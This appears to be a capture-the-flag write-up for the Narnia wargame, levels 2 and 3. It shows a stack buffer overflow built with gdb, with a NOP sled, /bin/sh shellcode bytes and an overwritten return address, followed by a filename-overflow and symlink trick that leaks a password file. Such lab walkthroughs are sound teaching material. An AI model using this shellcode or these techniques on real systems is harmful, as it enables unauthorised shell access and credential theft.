Level 2
As before, we’re given the source code of the binary:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
The argument to printf
is properly formatted so it’s not a format string exploit. We do however notice the blind strcpy
into buf
, which is 128 bytes long. I guess the first question would be what would happen should the input be longer than that:
narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print "D"*160')
Segmentation fault
That’s actually good news - it means we probably messed up the stack and overwrote a return address with junk (or \x44\x44\x44\x44
in thise case). Let’s look at this through gdb
:
narnia2@narnia:/narnia$ gdb -q narnia2
Reading symbols from narnia2...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x0804845d <+0>: push ebp
0x0804845e <+1>: mov ebp,esp
0x08048460 <+3>: and esp,0xfffffff0
0x08048463 <+6>: sub esp,0x90
0x08048469 <+12>: cmp DWORD PTR [ebp+0x8],0x1
0x0804846d <+16>: jne 0x8048490 <main+51>
0x0804846f <+18>: mov eax,DWORD PTR [ebp+0xc]
0x08048472 <+21>: mov eax,DWORD PTR [eax]
0x08048474 <+23>: mov DWORD PTR [esp+0x4],eax
0x08048478 <+27>: mov DWORD PTR [esp],0x8048560
0x0804847f <+34>: call 0x8048310 <printf@plt>
0x08048484 <+39>: mov DWORD PTR [esp],0x1
0x0804848b <+46>: call 0x8048340 <exit@plt>
0x08048490 <+51>: mov eax,DWORD PTR [ebp+0xc]
0x08048493 <+54>: add eax,0x4
0x08048496 <+57>: mov eax,DWORD PTR [eax]
0x08048498 <+59>: mov DWORD PTR [esp+0x4],eax
0x0804849c <+63>: lea eax,[esp+0x10]
0x080484a0 <+67>: mov DWORD PTR [esp],eax
0x080484a3 <+70>: call 0x8048320 <strcpy@plt>
0x080484a8 <+75>: lea eax,[esp+0x10]
0x080484ac <+79>: mov DWORD PTR [esp+0x4],eax
0x080484b0 <+83>: mov DWORD PTR [esp],0x8048574
0x080484b7 <+90>: call 0x8048310 <printf@plt>
0x080484bc <+95>: mov eax,0x0
0x080484c1 <+100>: leave
0x080484c2 <+101>: ret
End of assembler dump.
(gdb) break *0x080484a8
Breakpoint 1 at 0x80484a8
We start with a small input to better understand the stack layout.
(gdb) r $(python -c 'print "D"*16')
Starting program: /narnia/narnia2 ABCD
Breakpoint 1, 0x080484a8 in main ()
(gdb) p 0x90
$1 = 144
(gdb) x/40wx $esp
0xffffd680: 0xffffd690 0xffffd8ed 0x00000000 0x00000000
0xffffd690: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd6a0: 0xffffd700 0xffffd6c8 0xffffd6c0 0x08048249
0xffffd6b0: 0xf7ffd938 0x00000000 0x000000bf 0xf7eb7fe6
0xffffd6c0: 0xffffffff 0xffffd6ee 0xf7e2ec34 0xf7e54fe3
0xffffd6d0: 0x00000000 0x002c307d 0x00000001 0x080482dd
0xffffd6e0: 0xffffd8dd 0x0000002f 0x0804974c 0x08048522
0xffffd6f0: 0x00000002 0xffffd7b4 0xffffd7c0 0xf7e5519d
0xffffd700: 0xf7fcb3c4 0xf7ffd000 0x080484db 0xf7fcb000
0xffffd710: 0x080484d0 0x00000000 0x00000000 0xf7e3bad3
(gdb) info reg ebp
ebp 0xffffd718 0xffffd718
This means the character array buf
is located at 0xffffd690
. ebp
is located at 0xffffd718
meaning the address below it is the caller’s (what called main
) return address. Let’s find out what that is and what we need to do to overwrite it.
(gdb) x/bx 0xf7e3bad3
0xf7e3bad3 <__libc_start_main+243>: 0x89
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print "D"*140 + "\xaa\xaa\xaa\xaa"')
Breakpoint 1, 0x080484a8 in main ()
(gdb) x/40wx $esp
0xffffd600: 0xffffd610 0xffffd86d 0x00000000 0x00000000
0xffffd610: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd620: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd630: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd640: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd650: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd660: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd670: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd680: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd690: 0x44444444 0x44444444 0x44444444 0xaaaaaaaa
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xaaaaaaaa in ?? ()
Sorted! We successfully overwrote libc
’s address with one of our choosing. This means our payload will look a little like this: <nop sled><shellcode><padding><address pointing to the nop sled>
. Without further ado:
(gdb) r $(python -c 'print "\x90"*64 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(140-64-35) + "\x10\xd6\xff\xff"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print "\x90"*64 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(140-64-35) + "\x10\xd6\xff\xff"')
Breakpoint 1, 0x080484a8 in main ()
(gdb) x/44wx $esp
0xffffd600: 0xffffd610 0xffffd86d 0x00000000 0x00000000
0xffffd610: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd620: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd630: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd640: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd650: 0xdb31c031 0xb099c931 0x6a80cda4 0x6851580b
0xffffd660: 0x68732f2f 0x69622f68 0x51e3896e 0x8953e289
0xffffd670: 0x4180cde1 0x41414141 0x41414141 0x41414141
0xffffd680: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd690: 0x41414141 0x41414141 0x41414141 0xffffd610
0xffffd6a0: 0x00000000 0xffffd734 0xffffd740 0xf7feacca
(gdb) c
Continuing.
process 156 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x80484a8
We can now try that outside of gdb
. Note that sometimes the return address won’t match exactly - gdb
can set environment variables etc… causing the memory to be a bit off - hence the nop
sled. As long as we hit the sled, the nop
will lead right to the shellcode.
narnia2@narnia:/narnia$ /narnia/narnia2 $(python -c 'print "\x90"*64 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(140-64-35) + "\x10\xd6\xff\xff"')
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
*** password ***
Level 3
This looks a litle different than what we’re used to:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
But notice how the ifile
buffer is right nex to the ofile
one, and the strcpy
is unbounded. With this we get a sense for what we’re supposed to do.
narnia3@narnia:/narnia$ ./narnia3 $(python -c 'print "_"*32 + "/tmp/foo"')
error opening /tmp/foo
narnia3@narnia:/narnia$ touch /tmp/foo
narnia3@narnia:/narnia$ ./narnia3 $(python -c 'print "_"*32 + "/tmp/foo"')
error opening ________________________________/tmp/foo
By providing an argument longer than 32 characters, we override the contents of ofile
. The tricky bit is to make sure the last part of our input file matches that of our output. So if we output to /tmp/foo
, our input must be <something>/tmp/foo
.
narnia3@narnia:/narnia$ python -c 'print len("/tmp/symbolic_link_to_narnia4___")'
32
narnia3@narnia:/narnia$ mkdir -p /tmp/symbolic_link_to_narnia4___/tmp/
narnia3@narnia:/narnia$ touch /tmp/foo
narnia3@narnia:/narnia$ ln -s /etc/narnia_pass/narnia4 /tmp/symbolic_link_to_narnia4___/tmp/foo
narnia3@narnia:/narnia$ ./narnia3 /tmp/symbolic_link_to_narnia4___/tmp/foo
copied contents of /tmp/symbolic_link_to_narnia4___/tmp/foo to a safer place... (/tmp/foo)
narnia3@narnia:/narnia$ cat /tmp/foo
*** password ***
▒▒▒4▒}0,narnia3@narnia:/narnia$
Easy.